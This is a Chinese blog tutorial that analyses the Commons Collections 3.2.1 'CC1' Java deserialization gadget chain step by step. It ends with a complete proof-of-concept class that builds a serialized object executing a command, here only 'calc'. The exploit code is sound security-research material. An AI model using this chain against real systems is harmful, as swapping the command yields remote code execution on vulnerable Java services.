JavaSec 基础之 CC1 链

她送的苦茶子

已于 2024-03-12 00:06:42 修改

阅读量430

点赞数 3

分类专栏： JavaSec 基础文章标签： java 安全

于 2024-03-11 23:54:20 首次发布

本文链接：https://blog.csdn.net/akdelt/article/details/136638903

版权

JavaSec 基础专栏收录该内容

10 篇文章 0 订阅

订阅专栏

文章目录

背景

Apache Commons Collections是Apache提供的一个Java库，它扩展了Java自带的集合框架。通过这个库，咱们可以使用更多种类的集合类型，以及各种实用的集合操作工具。这些功能在标准Java库中往往是缺失的，或者实现起来比较繁琐。

commons-collections 组件反序列化漏洞的反射链也称为CC链，本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链，这条攻击链被称为CC1链(国内版本的)。

环境以及配置

JDK-8u65 （因为CC1链在jdk 8u71后就修复了因此我们复现就利用 8u65的版本
CommonsCollections <= 3.2.1

Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn)

通过配置Maven依赖下载 CommonsCollections3.2.1版本

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

因为jdk自带的包里面有些文件是反编译的.class文件(比如说这里的 sun 包），我们调试的时候没法清楚的看懂代码，为了方便我们调试，我们需要将他们转变为.java的文件，这就需要我们去 openjdk 安装相应的源码（可以自行了解一下 oraclejdk 和 openjdk 区别与联系）:

jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)

下载好压缩包之后解压，拷贝 /src/share/classes下的sun文件夹，进入到相应JDK的文件夹中，里面本来就有个src.zip的压缩包，我们解压到当前文件夹下，然后把我们拷贝的 sun 文件夹粘贴到 src 文件夹中去

idea 打开项目，打开 File -> Project Structure -> Platforms Settings -> SDKs,把src文件夹添加到 Sourcepath 下，保存即可。

分析

0x1 终点(利用点分析)

CC1链的源头就是 Commons Collections 库中的 Tranformer 接口，这个接口里面有个 transform 方法。

ctrl + alt +b 查看哪些类调用了这个接口

进入重写 transform 方法的 InvokerTransformer 类

发现它重写了 Serializable,比较符合我们的要求。看一下构造方法

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

接受三个参数，分别是方法名，方法类型（Class 数组），方法参数（Object 数组）

再来到重写的 transform(

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }

参数接受一个对象，然后通过反射机制来调用某个方法执行，我们看构造函数已经发现了参数都是我们可控的，那么不就可以构造任意方法执行了吗？

我们先尝试用这个类的 transform 方法实现计算器的弹出

public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }

可以看到命令成功执行了，我们推链子都是逆着来的，所以现在就相当于找到源头了，接下来就是一步步回溯，寻找合适的子类调用了InvokerTransformer 的 transform 方法，构造漏洞链，直到到达重写了 readObject 的类为止。

0x2

那现在就可以找谁调用了 transform 了，有一点值得注意的是不要去找某个类的 transform 调用了 transform，不然你又得去找谁调用了 transform 了，要找就找不同方法调用 transform。

我们先 find usages 查找都有谁调用了。

看到我们需要的TransformedMap类下的checkSetValue方法

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

老规矩先看一下这个类的构造方法。

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

接受三个参数，一个 Map 型，我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了，可控。

特别是第三个参数，我们 checkSetValue return 的就是这第三个参数执行的 transform 方法，所以第三个参数可以传invokerTransformer 对象。

可以看到构造器和方法都是protected权限的，也就是说只能本类内部访问，不能外部调用去实例化，那么我们就需要找到内部实例化的工具，这里往上查找，可以找到一个public的静态方法decorate

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

它接受了和构造方法一样的参数并且实例化了这个类。

这里有一个小知识 staic 修饰的静态方法可以直接类名＋方法名调用

那我们可以先调用这个方法，然后实例化这个类，然后再想办法调用checkSetValue方法

Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Map map = new HashMap();
        TransformedMap.decorate(map, null, invokerTransformer);

这里的第二个参数没有用到，所以先设置为 null

然后我们就得找 checkSetValue 怎么被调用了。我们发现只有 AbstractInputCheckedMapDecorator 调用了 checkSetValue。而且它是 TransformedMap 的父类

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

其副类 MapEntry 里的 setValue 方法调用了 checkSetValue。

MapEntry 继承于 AbstractMapEntryDecorator，AbstractMapEntryDecorator 又引入了 Map.Entry 接口

Map.Entry是Map声明的一个内部接口，此接口为泛型，定义为Entry<K,V>。它表示Map中的一个实体（一个key-value对）。所以用 TransformedMap 的 entrySet() 遍历 Map 的时候就能调用 setValue 方法

Java HashMap entrySet() 方法 | 菜鸟教程 (runoob.com)

所以我们只需要进行常用的Map遍历，就可以调用setValue方法

 for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
         entry.setValue(r);                       //调用setValue方法，并把对象r当作对象传入
    }

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        map.put("aaa","aaa"); //给map一个键值对，方便遍历

        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
            entry.setValue(r);                       //调用setValue方法，并把对象r当作对象传入

流程就是我们遍历 transformedmap 的时候用的是 entrySet() ，来自于 transformedmap 父类的 entrySet() ，然后就会进入其父类的副类 MapEntry 下的构造方法，使每个 entry 这里就是 “aaa”->“aaa” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类，AbstractMapEntryDecorator 又引入了 Map.Entry 接口，所以可以通过遍历调用 setValue 方法，恰巧 MapEntry 重写了这个方法。，而这个重写的方法正好调用了 checkSetValue。

0x3

老规矩，继续查找用法，看看有哪些方法里面调用了setValue并且可以被我们所利用.

好巧不巧 sun 包下的 sun.reflect.annotation 里的 AnnotationInvocationHandler 类就有这个方法

而且还是重写的 readObject 方法调用的

我们依旧看一下这个类的构造方法

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

接受一个注解型的，第二个是个 Map 型的，而且这个 memberValues 会被拿去遍历，所以这个我们就可以传 invokerTransformer 。

注意到这个构造器没有类型，所以默认只能内部调用，那我们只能用反射来获取构造方法了。

 //反射获取AnnotationInvocationHandler类
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域
        constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类

  //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime(); 
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        map.put("aaa","aaa"); //给map一个键值对，方便遍历

        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
        //反射获取AnnotationInvocationHandler类
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域
        constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类
        try {
            serialize(c);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

没有反应，想要正常反序列化整条链子，我们当下还要解决三个问题

0x31

首先就是 Runtime 这个类它没有 Serialize 接口，不能被序列化

但是 Class 可以被序列化

那我们就可以利用反射来调用 getRuntime 方法从而得到 Runtime 的实例化类

        Class c=Class.forName("java.lang.Runtime");                 //获取类原型
        Method getRuntime= c.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法，
        Runtime r=(Runtime) getRuntime.invoke(null,null);              //获取实例化对象，因为该方法无无参方法，所以全为null
        Method exec=c.getDeclaredMethod("exec", String.class);        //获取exec方法
        exec.invoke(r,"calc");                                         //实现命令执行

没问题，可以调出计算器c来。现在就重复上面的分析，想办法用 transform + 反射实现计算器的弹出。

我们回想一下之前怎么用 InvokerTransformer 的，利用了 InvokerTransformer 的 transform 里的反射机制

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

上面调用了 r 的 exec 方法，那我们就可以依葫芦画瓢

//先调用 getDeclaredMethod 方法 获取getRuntime方法
Runtime.class -> getDeclaredMethod()
//再调用 invoke 方法获取实例化对象
getRuntime -> invoke()
//获取exec方法，并进行命令执行
r -> exec

        Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r= (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这样要一个个嵌套创建参数太麻烦了，我们这里找到了一个Commons Collections库中存在的ChainedTransformer类，它也存在transform方法可以帮我们遍历InvokerTransformer，并且调用transform方法:

返回的是执行 transform 后的对象，用在这里刚刚好

Class rc=Class.forName("java.lang.Runtime");
//创建一个Transformer数组用于储存InvokerTransformer的数据，便于遍历
Transformer[] Transformers=new Transformer[]{
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组，然后调用transform方法，这里对象只需要传一个原始的Runtime就行，因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

好那么好，我们接下来就和上面一样用 TransformedMap 来调用 ChainedTransformer，用 AnnotationInvocationHandler 触发 TransformedMap

        Transformer[] Transformers=new Transformer[]{
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
        HashMap map = new HashMap();
        map.put("aaa","aaa"); //给map一个键值对，方便遍历
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        //反射获取AnnotationInvocationHandler类
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
        constructor.setAccessible(true); //修改作用域
        constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型，第二个就是我们之前的类
        try {
            serialize(c);
        } catch (Exception e) {
            e.printStackTrace();
        }

0x32

如果我们把上面的 POC 拿去序列化还是不行的，还得绕过 AnnotationInvocationHandler 类里面的两个 if 判断

调试一下发现第一个 if 都进不去，这里memeberType是获取注解中成员变量的名称，然后并且检查键值对中键名是否有对应的名称，而我们所使用的注解 Override 是没有成员变量的:

而我们发现另一个注解:Target中有个名为value的成员变量，所以我们就可以使用这个注解,并改第一个键值对的值为value:

 map.put("value","aaa");
 Object o = constructor.newInstance(Target.class,transformedmap);

成功进入第一个 if

再来看第二个 if

memberType.isInstance(value)

isInstance是Class类的一个方法isInstance(Object obj)，obj是被测试的对象，如果obj是调用这个方法的class或接口的实例，则返回true。这个方法是instanceof运算符的动态等价（memberType，value 是否可以强转

肯定不是啊，直接进 if 里面了

0x33

终于到最后一个问题了，我们传入的value值根本就不是我们需要的 Runtime.class

 memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));

我们最后要的是

chainedTransformer.transform(Runtime.class);

这里就需要ConstantTransformer类，

我们看到这个类里面也有transform，和构造器配合使用的话，我们传入什么值，就会返回某个值，这样就能将value的值转为Runtime.class

再 chainedTransformer.transform(xxx)，时，我们让 transforms 数组第一条是

new ConstantTransformer(Runtime.class)

这样就相当于

ConstantTransformer(Runtime.class).transform(xxx)

然后 transform return 出 iConstan 也就是 Runtime.class，之后 chainedTransformer 继续遍历下去。至此，最后一个问题也解决了。

0x04

完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
   public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Transformer[] Transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
        HashMap map = new HashMap();
        map.put("value","aaa");
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,transformedmap);
        try {
//            serialize(o);
            unserialize("ser.bin");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}